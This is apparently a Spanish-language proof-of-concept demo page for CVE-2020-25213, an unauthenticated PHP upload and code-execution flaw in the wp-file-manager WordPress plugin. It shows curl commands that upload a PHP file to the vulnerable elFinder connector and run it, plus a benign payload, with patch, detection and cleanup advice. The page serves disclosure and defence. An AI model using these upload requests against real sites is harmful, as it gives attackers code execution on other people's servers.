CVSS 9.8CWE-434● POC EN VIVOentorno aislado · solo demo
CVE-2020-25213 · Ejecución remota de código sin autenticación
en wp-file-manager < 6.9
Prueba de concepto ejecutada contra una copia real y aislada del plugin afectado
(v6.0, oct 2020) en este mismo hosting. El objetivo es demostrar, con evidencia
verificable, que un atacante anónimo puede escribir y ejecutar PHP arbitrario a través del endpoint
connector.minimal.php de elFinder.
subida arbitraria de archivos → ejecución de PHP → RCE
Causa raíz
uploadDeny=all + uploadAllow=all y sin
accessControl real ni comprobación de usuario
Corrección
actualizar a 6.9+ (el nuevo connector exige usuario con capacidad)
Flujo del ataque
El atacante localiza cualquier WordPress con el plugin en versión 6.0–6.8.
Envía un POST a connector.minimal.php con
cmd=upload y target=l1_Lw (raíz del volumen).
elFinder no valida identidad ni tipo de archivo: escribe el fichero en
lib/files/.
El archivo .php es accesible por HTTP → se ejecuta con los permisos
del usuario de cPanel. RCE sin credenciales.
En septiembre de 2020 esta cadena se explotó de forma masiva en campañas de defacement
sobre sitios WordPress sin actualizar.
Ejecución de la PoC
listo
Pulsa «Ejecutar PoC». El navegador enviará el POST al endpoint vulnerable
tal cual lo haría un atacante: sin cookies de sesión y sin token de WordPress.
ver el payload PHP que se sube (benigno, no abre shell)
<?php
/* POC CVE-2020-25213 - payload de demostracion (sin shell, sin comandos) */
header('Content-Type: text/plain; charset=utf-8');
header('X-PoC: CVE-2020-25213');
echo "== CVE-2020-25213 :: CODIGO PHP EJECUTANDO ==\n";
echo "estado : el servidor ha ejecutado este archivo\n";
echo "fecha : " . gmdate('c') . "\n";
echo "host : " . gethostname() . "\n";
echo "php : " . PHP_VERSION . " (" . PHP_SAPI . ")\n";
if (function_exists('posix_geteuid')) {
$pw = @posix_getpwuid(posix_geteuid());
echo "proceso : uid=" . posix_geteuid() . " (" . ($pw['name'] ?? '?') . ")\n";
}
echo "cwd : " . getcwd() . "\n";
echo "archivo : " . __FILE__ . "\n";
echo "kernel : " . php_uname() . "\n";
echo "\nNOTA: este payload NO abre shell ni ejecuta comandos del sistema.\n";
echo "Solo demuestra que un atacante sin credenciales logro escribir y\n";
echo "ejecutar codigo PHP arbitrario en el servidor.\n";
reproducir por curl desde otra máquina
# Rutas canónicas del CVE (raíz del sitio, como en cualquier WordPress)
# 1) Subida sin autenticación: sin cookies, sin nonce, sin sesión
curl -s -X POST "https://demos.as2servicios.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \
-F "cmd=upload" \
-F "target=l1_Lw" \
-F "upload[]=@poc.php;type=application/x-php"
# 2) La respuesta JSON de elFinder devuelve el nodo creado
# 3) El PHP subido se sirve desde el volumen de elFinder:
curl -s "https://demos.as2servicios.com/wp-content/plugins/wp-file-manager/lib/files/poc.php"
Mitigación y alcance de esta demo
Parche
wp-file-manager ≥ 6.9; si no se usa el plugin, desinstalarlo y borrar
wp-content/plugins/wp-file-manager/.
Detección
buscar POST a connector.minimal.php con cmd=upload;
revisar lib/files/ por *.php; WAF con regla para
connector.minimal.php.
Aislamiento
el plugin vive en /wp-content/plugins/wp-file-manager/
(ruta idéntica a la del CVE) pero no dentro de un WordPress real: es una copia suelta
de 6.0 en este subdominio de demos.
Contención
artefactos borrados con «Limpiar artefactos» o eliminando el
directorio; el subdominio entero se limpia con deploy.ps1 -Undeploy.
No reutilizar este directorio como demo pública permanente: el componente vulnerable es real
y cualquiera que encuentre la ruta podría subir archivos. Al terminar, borra
/home2/antonia5/public_html/demos/.